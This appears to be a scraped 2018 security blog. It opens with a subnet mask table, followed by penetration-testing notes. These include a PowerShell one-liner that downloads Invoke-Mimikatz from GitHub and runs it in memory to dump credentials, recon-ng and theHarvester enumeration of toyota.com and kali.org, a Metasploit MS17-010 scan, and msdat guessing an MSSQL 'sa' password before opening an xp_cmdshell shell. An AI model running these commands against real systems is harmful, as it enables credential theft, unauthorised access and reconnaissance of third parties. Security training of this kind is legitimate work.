|
|
Addresses
|
Hosts
|
Netmask
|
Amount of a Class C
|
|
/30
|
4
|
2
|
255.255.255.252
|
1/64
|
|
/29
|
8
|
6
|
255.255.255.248
|
1/32
|
|
/28
|
16
|
14
|
255.255.255.240
|
1/16
|
|
/27
|
32
|
30
|
255.255.255.224
|
1/8
|
|
/26
|
64
|
62
|
255.255.255.192
|
1/4
|
|
/25
|
128
|
126
|
255.255.255.128
|
1/2
|
|
/24
|
256
|
254
|
255.255.255.0
|
1
|
|
/23
|
512
|
510
|
255.255.254.0
|
2
|
|
/22
|
1024
|
1022
|
255.255.252.0
|
4
|
|
/21
|
2048
|
2046
|
255.255.248.0
|
8
|
|
/20
|
4096
|
4094
|
255.255.240.0
|
16
|
|
/19
|
8192
|
8190
|
255.255.224.0
|
32
|
|
/18
|
16384
|
16382
|
255.255.192.0
|
64
|
|
/17
|
32768
|
32766
|
255.255.128.0
|
128
|
|
/16
|
65536
|
65534
|
255.255.0.0
|
256
|
Thursday, 29 November 2018
Subnet Mask Cheat Sheet
Wednesday, 10 October 2018
Invoke-Mimikatz and will dump the creds of the respective system.
This runs the powershell script by directly pulling it from Github and executing it "in memory" on your system.
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’) ; Invoke-Mimikatz -DumpCreds
Tuesday, 7 August 2018
Kali Linux
Kali Linux
Nikto Web Scanner:
root@kali:/# nikto -h kali.org -p 80
root@kali:/# nikto -h kali.org -p 80
- Nikto
v2.1.6
---------------------------------------------------------------------------
+ Target
IP: 192.124.249.10
+ Target
Hostname: kali.org
+ Target
Port: 80
+ Start
Time: 2018-08-07 04:59:05 (GMT-4)
---------------------------------------------------------------------------
+ Server:
Sucuri/Cloudproxy
theHarvester:
root@kali:~# theharvester -d kali.org -b google
root@kali:~# theharvester -d kali.org -b google
recon-ng
[recon-ng][default]
> show workspaces
[recon-ng][default]
> workspaces add toyota
[recon-ng][toyota]
> show domains
[recon-ng][toyota]
> add domains
domain
(TEXT): toyota.com
[recon-ng][toyota]
> show domains
+------------------------------------------------+
| rowid |
domain |
module |
+------------------------------------------------+
| 1 |
toyota.com | user_defined |
+------------------------------------------------+
[*] 1 rows
returned
[recon-ng][toyota]
> use google_site_web
[recon-ng][toyota][google_site_web]
> run
[recon-ng][toyota][google_site_web]
> show hosts
| 3 | www.toyota.com | | | | | | google_site_web |
[recon-ng][toyota]
> use bing_domain_web
[recon-ng][toyota][bing_domain_web]
> run
[recon-ng][toyota][bing_domain_web]
> show hosts
| 602 | www.fleet.toyota.com | | | |
|
| bing_domain_web |
[recon-ng][toyota]
> use hackertarget
[recon-ng][toyota][hackertarget]
> run
[recon-ng][toyota][hackertarget]
> show hosts
| 41 | toyota.com | 107.154.75.95 |
| | | | hackertarget |
[recon-ng][toyota]
> use recon/hosts-hosts/resolve
[recon-ng][toyota][resolve]
> run
[recon-ng][toyota][resolve]
> show hosts
| 3 | www.toyota.com | 54.239.216.57 | | | | |
google_site_web |
[recon-ng][toyota]
> use brute_hosts
[recon-ng][toyota][brute_hosts]
> run
[recon-ng][toyota][brute_hosts]
> show hosts
| 772 | www.toyota.com | 13.33.172.193 |
| | | | brute_hosts
[recon-ng][toyota] > use mx_spf_ip
[recon-ng][toyota][mx_spf_ip] > run
[*] Retrieving MX records for
toyota.com.
[*] [host]
mxa-001f1301.gslb.pphosted.com (<blank>)
[*] [host]
mxb-001f1301.gslb.pphosted.com (<blank>)
[recon-ng][toyota][mx_spf_ip]
> show hosts
| 675 | mxa-001f1301.gslb.pphosted.com | | | | |
| mx_spf_ip
[recon-ng][toyota]
> use reporting/xlsx
[recon-ng][toyota][xlsx]
> run
[*] All data
written to '/root/.recon-ng/workspaces/toyota/results.xlsx'.
Detect MS17-010 SMB vulnerability using
Metasploit:
root@kali:/# netdiscover -r 10.12.0.0/24
root@kali:/# netdiscover -r 10.12.0.0/24
root@kali:/#
masscan -p135,445
10.12.0.21
Starting
masscan 1.0.3 (http://bit.ly/14GZzcT) at 2018-08-21 07:23:08 GMT
-- forced options: -sS -Pn -n
--randomize-hosts -v --send-eth
Initiating
SYN Stealth Scan
Scanning 1
hosts [2 ports/host]
Discovered
open port 445/tcp on 10.12.0.21
Discovered
open port 135/tcp on 10.12.0.21
root@kali:/#
msfconsole
msf > use
auxiliary/scanner/smb/smb_ms17_010
msf
auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.12.0.21
msf
auxiliary(scanner/smb/smb_ms17_010) > run
[+]
10.12.0.21:445 - Host is likely
VULNERABLE to MS17-010! - Windows Server 2003 R2 3790 Service Pack 2 x86
(32-bit)
[*] Scanned
1 of 1 hosts (100% complete)
[*]
Auxiliary module execution completed
#################################################
#################################################
msdat: Microsoft SQL Database Attacking Tool
msdat: Microsoft SQL Database Attacking Tool
sudo apt-get install freetds-dev
root@kali:/msdat#
vim
/etc/freetds/freetds.conf
#Add "use ntlmv2 = yes" in your freetds
configuration file
[global]
# TDS protocol version
tds version = auto
use ntlmv2 =
yes
root@kali:/#
cd /msdat/
root@kali:/msdat#
./msdat.py passwordguesser
-s 10.0.0.23
[1] (10.0.0.23:1433): Searching valid accounts on the 10.0.0.23 server, port 1433
[1] (10.0.0.23:1433): Searching valid accounts on the 10.0.0.23 server, port 1433
The login sa
has already been tested at least once. What do you want to do:
| ETA: 00:00:00
- stop (s/S)
- continue
and ask every time (a/A)
- continue
without to ask (c/C)
c
100%
|#################################################################################################################################################|
Time: 00:00:01
[+] Accounts
found on 10.0.0.23:1433/master: {'sa': 'sa'}
root@kali:/msdat#
./msdat.py xpcmdshell -s
10.0.0.23 -U 'sa' -P 'sa' --shell
[1] (10.0.0.23:1433):
Trying to get a shell thanks to xpcmdshell
10.0.0.23$hostname
Subscribe to:
Posts (Atom)